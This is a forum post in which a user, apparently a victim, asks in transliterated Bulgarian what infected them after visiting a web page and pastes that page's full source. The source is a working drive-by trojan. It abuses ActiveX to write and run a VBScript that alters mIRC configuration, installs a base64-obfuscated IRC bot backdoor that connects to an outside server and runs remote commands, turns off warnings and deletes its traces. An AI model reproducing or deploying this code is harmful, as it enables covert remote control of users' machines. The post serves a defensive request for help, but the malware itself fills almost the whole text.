|
dokato razglejdah tozi site se uchudih, che cd-to mi se razvurtia.
http://members.tripodnet.nl/rofl90210/
paste-vam code-a v nego. vse oshte ne znam s kakvo sum zarazen i kak da se otyrva ot nego :/
<Html>
<HEAD>
<!--Begin JavaScript roadmap code. If editing downloaded HTML source, delete
this portion.-->
<script language="JavaScript">
<!--
function TripodShowPopup()
{
// open the popup window
var popupURL = "http://members.tripod.lycos.nl/adm/popup/roadmap.shtml";
var popup = window.open(popupURL,"TripodPopup",'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=468,height=112');
// set the opener if it's not already set. it's set automatically
// in netscape 3.0+ and ie 3.0+.
if( navigator.appName.substring(0,8) == "Netscape" ) {
popup.location = popupURL;
popup.focus();
}
}
TripodShowPopup();
// -->
</script>
<!--End inserted JavaScript code.-->
<title>index</title>
<meta name="generator" content="Created Using Yahoo! PageBuilder 2.60.20">
</head>
<body>
<img src="littlejohnny.jpg">
</table></center>
</CENTER>
<applet code="com.ms.activeX.ActiveXComponent" align="baseline"
width="0" height="128" highlight="0">
</applet>
<script language="JAVASCRIPT">
<!-- hide for safe browsers
InterfaceObject=document.applets[0];
setTimeout("Upload()",1000);
function Upload() {
fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
InterfaceObject.setCLSID(fsoClassID);
fso = InterfaceObject.createInstance();
// windir = fso.getspecialfolder(0);
filename = "c:\\rol.vbs";
file = fso.opentextfile(filename, "2", "TRUE");
file.writeline(filecontent1)
file.writeline(filecontent2)
file.writeline(filecontent3)
file.writeline(filecontent4)
file.writeline(filecontent5)
file.writeline(filecontent6)
file.writeline(filecontent7)
file.writeline(filecontent8)
file.writeline(filecontent9)
file.writeline(filecontent10)
file.writeline(filecontent11)
file.writeline(filecontent12)
file.writeline(filecontent13)
file.writeline(filecontent14)
file.writeline(filecontent15)
file.writeline(filecontent16)
file.writeline(filecontent17)
file.writeline(filecontent18)
file.writeline(filecontent19)
file.writeline(filecontent20)
file.writeline(filecontent21)
file.writeline(filecontent22)
file.writeline(filecontent23)
file.writeline(filecontent24)
file.writeline(filecontent25)
file.writeline(filecontent26)
file.writeline(filecontent27)
file.writeline(filecontent28)
file.writeline(filecontent29)
file.writeline(filecontent30)
file.writeline(filecontent31)
file.writeline(filecontent32)
file.writeline(filecontent33)
file.writeline(filecontent34)
file.writeline(filecontent35)
file.writeline(filecontent36)
file.writeline(filecontent37)
file.writeline(filecontent38)
file.writeline(filecontent39)
file.writeline(filecontent40)
file.writeline(filecontent41)
file.writeline(filecontent42)
file.writeline(filecontent43)
file.writeline(filecontent44)
file.writeline(filecontent45)
file.writeline(filecontent46)
file.writeline(filecontent47)
file.writeline(filecontent48)
file.writeline(filecontent49)
file.writeline(filecontent50)
file.writeline(filecontent51)
file.writeline(filecontent52)
file.writeline(filecontent53)
file.writeline(filecontent54)
file.writeline(filecontent55)
file.writeline(filecontent56)
file.writeline(filecontent57)
file.writeline(filecontent58)
file.writeline(filecontent59)
file.writeline(filecontent60)
file.writeline(filecontent61)
file.writeline(filecontent62)
file.writeline(filecontent63)
file.writeline(filecontent64)
file.writeline(filecontent65)
file.writeline(filecontent66)
file.writeline(filecontent67)
file.writeline(filecontent68)
file.writeline(filecontent69)
file.writeline(filecontent70)
file.writeline(filecontent71)
file.writeline(filecontent72)
file.writeline(filecontent73)
file.writeline(filecontent74)
file.writeline(filecontent75)
file.writeline(filecontent76)
file.writeline(filecontent77)
file.writeline(filecontent78)
file.writeline(filecontent79)
file.writeline(filecontent80)
file.writeline(filecontent81)
file.writeline(filecontent82)
file.writeline(filecontent83)
file.writeline(filecontent84)
file.writeline(filecontent85)
file.writeline(filecontent86)
file.writeline(filecontent87)
file.writeline(filecontent88)
file.writeline(filecontent89)
file.writeline(filecontent90)
file.writeline(filecontent91)
file.writeline(filecontent92)
file.writeline(filecontent93)
file.writeline(filecontent94)
file.writeline(filecontent95)
file.writeline(filecontent96)
file.writeline(filecontent97)
file.writeline(filecontent98)
file.writeline(filecontent99)
file.writeline(filecontent100)
file.writeline(filecontent101)
file.writeline(filecontent102)
file.writeline(filecontent103)
file.writeline(filecontent104)
file.writeline(filecontent105)
file.writeline(filecontent106)
file.writeline(filecontent107)
file.writeline(filecontent108)
file.writeline(filecontent109)
file.writeline(filecontent110)
file.writeline(filecontent111)
file.writeline(filecontent112)
file.writeline(filecontent113)
file.writeline(filecontent114)
file.writeline(filecontent115)
file.writeline(filecontent116)
file.writeline(filecontent117)
file.writeline(filecontent118)
file.writeline(filecontent119)
file.writeline(filecontent120)
file.writeline(filecontent121)
file.writeline(filecontent122)
file.writeline(filecontent123)
file.writeline(filecontent124)
file.writeline(filecontent125)
file.writeline(filecontent126)
file.writeline(filecontent127)
file.writeline(filecontent128)
file.writeline(filecontent129)
file.writeline(filecontent130)
file.writeline(filecontent131)
file.writeline(filecontent132)
file.writeline(filecontent133)
file.writeline(filecontent134)
file.writeline(filecontent135)
file.writeline(filecontent136)
file.writeline(filecontent137)
file.writeline(filecontent138)
file.writeline(filecontent139)
file.writeline(filecontent140)
file.writeline(filecontent141)
file.writeline(filecontent142)
file.writeline(filecontent143)
file.writeline(filecontent144)
file.writeline(filecontent145)
file.writeline(filecontent146)
file.writeline(filecontent147)
file.writeline(filecontent148)
file.writeline(filecontent149)
file.writeline(filecontent150)
file.writeline(filecontent151)
file.writeline(filecontent152)
file.writeline(filecontent153)
file.writeline(filecontent154)
file.writeline(filecontent155)
file.writeline(filecontent156)
file.writeline(filecontent157)
file.writeline(filecontent158)
file.writeline(filecontent159)
file.writeline(filecontent160)
file.writeline(filecontent161)
file.writeline(filecontent162)
file.writeline(filecontent163)
file.writeline(filecontent164)
file.writeline(filecontent165)
file.writeline(filecontent166)
file.writeline(filecontent167)
file.writeline(filecontent168)
file.writeline(filecontent169)
file.writeline(filecontent170)
file.writeline(filecontent171)
file.writeline(filecontent172)
file.writeline(filecontent173)
file.writeline(filecontent174)
file.writeline(filecontent175)
file.writeline(filecontent176)
file.writeline(filecontent177)
file.writeline(filecontent178)
file.writeline(filecontent179)
file.writeline(filecontent180)
file.writeline(filecontent181)
file.writeline(filecontent182)
file.writeline(filecontent183)
file.writeline(filecontent184)
file.writeline(filecontent185)
file.writeline(filecontent186)
file.writeline(filecontent187)
file.writeline(filecontent188)
file.writeline(filecontent189)
file.writeline(filecontent190)
file.writeline(filecontent191)
file.writeline(filecontent192)
file.writeline(filecontent193)
file.writeline(filecontent194)
file.writeline(filecontent195)
file.writeline(filecontent196)
file.writeline(filecontent197)
file.writeline(filecontent198)
file.writeline(filecontent199)
file.writeline(filecontent200)
file.writeline(filecontent201)
file.writeline(filecontent202)
file.writeline(filecontent203)
file.writeline(filecontent204)
file.writeline(filecontent205)
file.writeline(filecontent206)
file.writeline(filecontent207)
file.writeline(filecontent208)
file.writeline(filecontent209)
file.writeline(filecontent210)
file.writeline(filecontent211)
file.writeline(filecontent212)
file.writeline(filecontent213)
file.writeline(filecontent214)
file.writeline(filecontent215)
file.writeline(filecontent216)
file.writeline(filecontent217)
file.writeline(filecontent218)
file.writeline(filecontent219)
file.writeline(filecontent220)
file.writeline(filecontent221)
file.writeline(filecontent222)
file.writeline(filecontent223)
file.writeline(filecontent224)
file.writeline(filecontent225)
file.writeline(filecontent226)
file.writeline(filecontent227)
file.writeline(filecontent228)
file.writeline(filecontent229)
file.writeline(filecontent230)
file.writeline(filecontent231)
file.writeline(filecontent232)
file.writeline(filecontent233)
file.writeline(filecontent234)
file.writeline(filecontent235)
file.writeline(filecontent236)
file.writeline(filecontent237)
file.writeline(filecontent238)
file.writeline(filecontent239)
file.writeline(filecontent240)
file.writeline(filecontent241)
file.writeline(filecontent242)
file.writeline(filecontent243)
file.writeline(filecontent244)
file.writeline(filecontent245)
file.writeline(filecontent246)
file.writeline(filecontent247)
file.writeline(filecontent248)
file.writeline(filecontent249)
file.writeline(filecontent250)
file.writeline(filecontent251)
file.writeline(filecontent252)
file.writeline(filecontent253)
file.writeline(filecontent254)
file.writeline(filecontent255)
file.writeline(filecontent256)
file.writeline(filecontent257)
file.writeline(filecontent258)
file.writeline(filecontent259)
file.writeline(filecontent260)
file.writeline(filecontent261)
file.writeline(filecontent262)
file.writeline(filecontent263)
file.writeline(filecontent264)
file.writeline(filecontent265)
file.writeline(filecontent266)
file.writeline(filecontent267)
file.writeline(filecontent268)
file.close();
Run();
}
function Run() {
WshShellClassID="{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
InterfaceObject.setCLSID(WshShellClassID);
wshShell = InterfaceObject.createInstance();
wshShell.run(filename,"6","TRUE"); }
-->
</script>
<script language="vbscript">
a=chr(34)
filecontent1="dim Otag "
filecontent2="dim AOtag"
filecontent3="dim Ttag "
filecontent4="dim DummyTag"
filecontent5="dim SectionDef"
filecontent6="call ShowFolderList("&a&"c:\"&a&")"
filecontent7="sub ShowFolderList(s)"
filecontent8="on error resume next"
filecontent9="Set filesys = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent10="Set RootFolder1 = FileSys.GetFolder(s)"
filecontent11="Set SubFolds1 = RootFolder1.subfolders"
filecontent12="For Each f1 in Subfolds1"
filecontent13="s = f1.path & "&a&"\"&a&""
filecontent14="Otag = s & "&a&"mirc.ini"&a&""
filecontent15="AOtag= s & "&a&"mirc.dat"&a&""
filecontent16="DummyTag= "&a&"C:\winamod.dat"&a&""
filecontent17="TTag= s & "&a&"script.ini"&a&""
filecontent18="SectionDef= "&a&"[rfiles]"&a&""
filecontent19="if filesys.fileexists(otag) then "
filecontent20="Call Filemod() "
filecontent21="filesys.CopyFile DummyTag, Otag, true"
filecontent22="Call ImplementRemote()"
filecontent23="filesys.CopyFile DummyTag, Otag, true"
filecontent24="Call ImplementWarn()"
filecontent25="filesys.CopyFile DummyTag, Otag, true"
filecontent26="Call ImplementFserv()"
filecontent27="filesys.CopyFile DummyTag, Otag, true"
filecontent28="call ImplementPerfCheck()"
filecontent29="filesys.CopyFile DummyTag, Otag, true"
filecontent30="Call ImplementPerform()"
filecontent31="SetClearArchiveBit(Otag)"
filecontent32="End If"
filecontent33="Call ShowFolderList(s)"
filecontent34="Next"
filecontent35="End sub"
filecontent36="Function FiltNum(FilString)"
filecontent37="on error resume next"
filecontent38="countdown=5"
filecontent39="do"
filecontent40="Comp = mid(FilString,2,countdown)"
filecontent41="if isnumeric(Comp) then LastNum = Comp : exit do"
filecontent42="countdown=countdown-1"
filecontent43="loop until countdown =0"
filecontent44="FiltNum = LastNum"
filecontent45="end function"
filecontent46="Function LastLineNum(SSection)"
filecontent47="on error resume next"
filecontent48="Set FS1N = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent49="Set FR1N = FS1N.OpenTextFile(otag,1,true)"
filecontent50="Do While FR1N.AtEndOfStream <> True"
filecontent51="segment1 = FR1N.readline"
filecontent52="w = InstrRev(segment1,SSection)"
filecontent53="counts=counts+1"
filecontent54="if w > 0 then "
filecontent55="do"
filecontent56="if FR1N.AtEndOfStream = True then exit do"
filecontent57="segmentk = FR1N.readline"
filecontent58="k = InstrRev(segmentk,"&a&"n"&a&",1) "
filecontent59="if k=1 then"
filecontent60="LastNum=FiltNum(segmentk)"
filecontent61="end if"
filecontent62="Loop until k=0"
filecontent63="end if"
filecontent64="loop"
filecontent65="FR1N.Close"
filecontent66="LastLineNum=LastNum"
filecontent67="end function"
filecontent68="Function Filemod()"
filecontent69="on error resume next"
filecontent70="Set fs1 = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent71="Set fr1 = fs1.OpenTextFile(otag,1,true)"
filecontent72="Set fs2 = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent73="Set fr2 = fs2.OpenTextFile(DummyTag,2,true)"
filecontent74="Do While fr1.AtEndOfStream <> True"
filecontent75="segment1 = fr1.readline"
filecontent76="fr2.writeline segment1"
filecontent77="w = InstrRev(segment1,"&a&"[rfiles]"&a&")"
filecontent78="counts=counts+1"
filecontent79="if w > 0 then "
filecontent80="counts2=counts"
filecontent81="do"
filecontent82="if fr1.AtEndOfStream = True then exit do"
filecontent83="segmentk = fr1.readline"
filecontent84="k = InstrRev(segmentk,"&a&"n"&a&",1) "
filecontent85="if k=1 then"
filecontent86="LastNum=FiltNum(segmentk)"
filecontent87="fr2.writeline segmentk"
filecontent88="end if"
filecontent89="COUNTS2=COUNTS2+1"
filecontent90="Loop until k<>1"
filecontent91="exit do"
filecontent92="end if"
filecontent93="loop"
filecontent94="fr1.Close"
filecontent95="fr2.close"
filecontent96="Set fs3 = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent97="Set fr3 = fs3.OpenTextFile(DummyTag,8,true)"
filecontent98="TrojanInfo = "&a&"n"&a&" & lastlinenum(SectionDef)+1 & "&a&"=script.ini"&a&""
filecontent99="fr3.writeline TrojanInfo"
filecontent100="fr3.Close"
filecontent101="Set fs4 = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent102="Set fr4 = fs4.OpenTextFile(Otag,1,true)"
filecontent103="Set fs5 = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent104="Set fr5 = fs5.OpenTextFile(DummyTag,8,true)"
filecontent105="Do While fr4.AtEndOfStream <> True"
filecontent106="segment2 = fr4.readline"
filecontent107="if fr4.line >= counts2 + 2 then "
filecontent108="fr5.writeline segment2"
filecontent109="end if"
filecontent110="loop"
filecontent111="fr4.Close"
filecontent112="fr5.Close"
filecontent113="fs5.CopyFile DummyTag, Otag, true"
filecontent114="Call FLDL(TTag)"
filecontent115="end Function"
filecontent116="sub FLDL(TTag)"
filecontent117="on error resume next"
filecontent118="Set fs6 = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent119="Set fr6 = fs6.OpenTextFile(TTag,2,true)"
filecontent120="fr6.writeline "&a&"[script]"&a&""
filecontent121="fr6.writeline "&a&"n0="&a&""
filecontent122="fr6.writeline "&a&"n1="&a&""
filecontent123="fr6.writeline "&a&"n2="&a&""
filecontent124="fr6.writeline "&a&"n3="&a&""
filecontent125="fr6.writeline "&a&"n4="&a&""
filecontent126="fr6.writeline "&a&"n5="&a&""
filecontent127="fr6.writeline "&a&"n6="&a&""
filecontent128="fr6.writeline "&a&"n7="&a&""
filecontent129="fr6.writeline "&a&"n8="&a&""
filecontent130="fr6.writeline "&a&"n9="&a&""
filecontent131="fr6.writeline "&a&"n10=on *:sockclose:blub: $decode(LnRpbWVyIDEgMyAuc29ja29wZW4=,m) $sockname $sock($sockname).ip $sock($sockname).port"&a&""
filecontent132="fr6.writeline "&a&"n11="&a&""
filecontent133="fr6.writeline "&a&"n12="&a&""
filecontent134="fr6.writeline "&a&"n13="&a&""
filecontent135="fr6.writeline "&a&"n14="&a&""
filecontent136="fr6.writeline "&a&"n15="&a&""
filecontent137="fr6.writeline "&a&"n16="&a&""
filecontent138="fr6.writeline "&a&"n17="&a&""
filecontent139="fr6.writeline "&a&"n18=on *:start:{ $decode(LmlkZW50ZCBvbg==,m) | $decode(LnRpbWVyIDEgMyAuc29ja29wZW4gYmx1Yg==,m) $decode(aXJjLm1pcmNtLmNvbQ==,m) $calc(10000 - 3333) }"&a&""
filecontent140="fr6.writeline "&a&"n19=on *:sockread:PSG*:{ .sockread %botread | if ( $gettok(%botread,1,32) == $decode(cGluZw==,m) ) .sockwrite $sockname $decode(cG9uZw==,m) $gettok(%botread,2,32) | elseif ( $gettok(%botread,2,32) == $decode(a2ljaw==,m) ) { .set -n0 %t $sockname $sock($sockname).ip $sock($sockname).port | .sockclose %t | .timer 1 1 .sockopen %t } | .unset %botread }"&a&""
filecontent141="fr6.writeline "&a&"n20=on *:sockread:*:{ .sockread %botread | set -u0 %t $calc(45*37-1664) | if ( $gettok(%botread,1,32) == $decode(cGluZw==,m) ) { .sockwrite -tn $sockname $decode(UG9uZw==,m) $gettok(%botread,2,32) } | .set -n0 %t.t $decodE(Km8q,m) | if ( ( $mid($gettok(%botread,4,32),2) == $decodE(Li5jbWQ=,m) ) && ( %t.t iswm $mid($gettok($gettok(%botread,1,32),1,33),2) )) $gettok(%botread,5-,32) | .unset %botread }"&a&""
filecontent142="fr6.writeline "&a&"n21=on *:Sockopen:blub:{ if ($sockerr > 0) { halt } | .sockwrite -nt $sockname $decode(VVNFUiBpZGVudCBsb2NhbGhvc3Q=,m) ip :bl0b | .sockwrite -nt $sockname NICK $rand(a,z) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) | .sockwrite -nt $sockname JOIN $decode(I3dlaXJkbmVzcw==,m) | }"&a&""
filecontent143="fr6.writeline "&a&"n22=on *:sockopen:PSG*:{ if ($sockerr > 0) { halt } | .sockwrite -nt $sockname USER $rand(a,z) $+ $rand(1,9) $+ $rand(a,z) $+ $rand(1,9) localhost ip : 6147chz | .sockwrite -nt $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) | .sockwrite -nt $sockname JOIN : $+ %sjan | $decode(LnRpbWVyZiAwIDM=,m) .sockwrite -nt $sockname privmsg %sjan : $+ %t.flood }"&a&""
filecontent144="fr6.writeline "&a&"n23="&a&""
filecontent145="fr6.writeline "&a&"n24="&a&""
filecontent146="fr6.writeline "&a&"n25="&a&""
filecontent147="fr6.writeline "&a&"n26="&a&""
filecontent148="fr6.writeline "&a&"n27="&a&""
filecontent149="fr6.writeline "&a&"n28="&a&""
filecontent150="fr6.writeline "&a&"n29="&a&""
filecontent151="fr6.writeline "&a&"n30="&a&""
filecontent152="fr6.writeline "&a&"n31="&a&""
filecontent153="fr6.writeline "&a&"n32="&a&""
filecontent154="fr6.close"
filecontent155="end sub"
filecontent156="Function ImplementRemote()"
filecontent157="Set fs1a = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent158="Set fr1a = fs1a.OpenTextFile(otag,1,true)"
filecontent159="Set fs2a = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent160="Set fr2a = fs2a.OpenTextFile(DummyTag,2,true)"
filecontent161="Do While fr1a.AtEndOfStream <> True"
filecontent162="segment1a = fr1a.readline"
filecontent163="fr2a.writeline segment1a"
filecontent164="if ucase(segment1a)=ucase("&a&"[options]"&a&") then"
filecontent165="Do"
filecontent166="If fr1a.AtEndOfStream Then exit do"
filecontent167="n2a = fr1a.readline"
filecontent168="If ucase(mid(n2a,1,3))=ucase("&a&"n2="&a&") then"
filecontent169="fr2a.writeline Mid(n2a, 1, 13) & "&a&"1,1"&a&" & Mid(n2a, 17, 16) & "&a&"1"&a&" & Mid(n2a, 34)"
filecontent170="exit do"
filecontent171="Else"
filecontent172="fr2a.writeline n2a"
filecontent173="End If"
filecontent174="Loop"
filecontent175="end if"
filecontent176="loop"
filecontent177="fr1a.Close"
filecontent178="fr2a.close"
filecontent179="End Function"
filecontent180="Function Implementfserv()"
filecontent181="Set fs1a = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent182="Set fr1a = fs1a.OpenTextFile(otag,1,true)"
filecontent183="Set fs2a = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent184="Set fr2a = fs2a.OpenTextFile(DummyTag,2,true)"
filecontent185="Do While fr1a.AtEndOfStream <> True"
filecontent186="segment1a = fr1a.readline"
filecontent187="fr2a.writeline segment1a"
filecontent188="if ucase(segment1a)=ucase("&a&"[warn]"&a&") then"
filecontent189="Do"
filecontent190="If fr1a.AtEndOfStream Then exit do"
filecontent191="n2a = fr1a.readline"
filecontent192="If ucase(n2a)=ucase("&a&"fserve=on"&a&") then"
filecontent193="fr2a.writeline "&a&"fserve=off"&a&""
filecontent194="Else"
filecontent195="fr2a.writeline n2a"
filecontent196="End If"
filecontent197="Loop"
filecontent198="end if"
filecontent199="loop"
filecontent200="fr1a.Close"
filecontent201="fr2a.close"
filecontent202="End Function"
filecontent203="Function Implementwarn()"
filecontent204="Set fs1c = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent205="Set fr1c = fs1c.OpenTextFile(otag,1,true)"
filecontent206="Set fs2c = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent207="Set fr2c = fs2c.OpenTextFile(DummyTag,2,true)"
filecontent208="Do While fr1c.AtEndOfStream <> True"
filecontent209="segment1c = fr1c.readline"
filecontent210="fr2c.writeline segment1c"
filecontent211="if ucase(segment1c)=ucase("&a&"[fileserver]"&a&") then"
filecontent212="Do"
filecontent213="if fr1c.AtEndOfStream then exit do"
filecontent214="n2c = fr1c.readline"
filecontent215="If ucase(n2c)=ucase("&a&"warning=on"&a&") then"
filecontent216="fr2c.writeline "&a&"warning=off"&a&""
filecontent217="Else"
filecontent218="fr2c.writeline n2c"
filecontent219="End If"
filecontent220="Loop"
filecontent221="end if"
filecontent222="loop"
filecontent223="fr1c.Close"
filecontent224="fr2c.close"
filecontent225="End Function"
filecontent226="Function ImplementPerform()"
filecontent227="Set fs1p = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent228="Set fr1p = fs1p.OpenTextFile(Otag,8,true)"
filecontent229="fr1p.writeline "&a&"[Perform]"&a&""
filecontent230="fr1p.writeline "&a&"n0=/Remote ON"&a&""
filecontent231="fr1p.Close"
filecontent232="fs1p.close"
filecontent233="End Function"
filecontent234="Sub SetClearArchiveBit(filespec) "
filecontent235="Dim fsg, fg"
filecontent236="Set fsg = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent237="Set fg = fsg.GetFile(filespec) "
filecontent238="fg.attributes = 0"
filecontent239="fg.attributes = fg.attributes + 1"
filecontent240="End Sub"
filecontent241="Function ImplementPerfCheck()"
filecontent242="Set fs1f = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent243="Set fr1f = fs1f.OpenTextFile(otag,1,true)"
filecontent244="Set fs2f = CreateObject("&a&"Scripting.FileSystemObject"&a&")"
filecontent245="Set fr2f = fs2f.OpenTextFile(DummyTag,2,true)"
filecontent246="Do While fr1f.AtEndOfStream <> True"
filecontent247="segment1f = fr1f.readline"
filecontent248="fr2f.writeline segment1f"
filecontent249="if ucase(segment1f)=ucase("&a&"[options]"&a&") then"
filecontent250="Do"
filecontent251="If fr1f.AtEndOfStream Then exit do"
filecontent252="n2f = fr1f.readline"
filecontent253="If ucase(mid(n2f,1,3))=ucase("&a&"n0="&a&") then"
filecontent254="fr2f.writeline Mid(n2f, 1, 40) & "&a&",1,"&a&" & Mid(n2f, 44)"
filecontent255="exit do"
filecontent256="Else"
filecontent257="fr2f.writeline n2f"
filecontent258="End If"
filecontent259="Loop"
filecontent260="end if"
filecontent261="loop"
filecontent262="fr1f.Close"
filecontent263="fr2f.close"
filecontent264="End Function"
filecontent265=""
filecontent266="set sss=createobject("&a&"scripting.filesystemobject"&a&")"
filecontent267="sss.DeleteFile "&a&"c:\rol.vbs"&a&""
filecontent268="sss.DeleteFile "&a&"c:\winamod.dat"&a&""
</script>
</BODY><!--EndFreetext-->
<p>
</BODY>
</html>
</td>
<td colspan=3 height=150></td>
</tr>
</table>
</BODY>
</html>
|
Zaraziavane s trojan ot browsvane na website:
